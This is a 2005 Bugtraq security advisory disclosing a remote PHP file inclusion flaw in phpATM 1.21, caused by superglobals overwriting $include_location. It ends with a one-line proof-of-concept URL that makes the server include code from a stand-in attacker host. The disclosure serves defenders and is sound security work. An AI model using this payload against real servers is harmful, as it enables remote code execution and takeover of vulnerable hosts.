[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
phpATM arbitrary PHP code inclusion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: phpATM arbitrary PHP code inclusion
- From: Ingvar Gilbert <bugtraq@xxxxxxxxx>
- Date: Thu, 19 May 2005 19:50:50 +0200
Affected product: phpATM
Version vulnerable: 1.21, and probably earlier.
Risk: High, execution of arbitrary PHP
Vendor informed: Not possible (mail bounces with 550, tried twice)
Vendor URL: http://phpatm.free.fr/
phpATM seems to be some up-/downloadscript for web environments. The
discussed vulnerability was found exploited in the wild.
phpATM allows the execution of arbitrary PHP code via remote includes,
when allow_url_fopen is set. The global variable $include_location ist
used with include(), and can be used by attackers to run any code with
the privileges of the web user.
The security flaw is located in `include/common.php', near line 91,
where content from the superglobal arrays is moved into global context.
This can be used to overwrite the earlier defined global
$include_location. Bulk-copying stuff into global context is a very bad
idea, as this can easily be abused to overwrite security related variables.
PoC: http://victim/index.php?include_location=http://attacker/
Regards,
Ingvar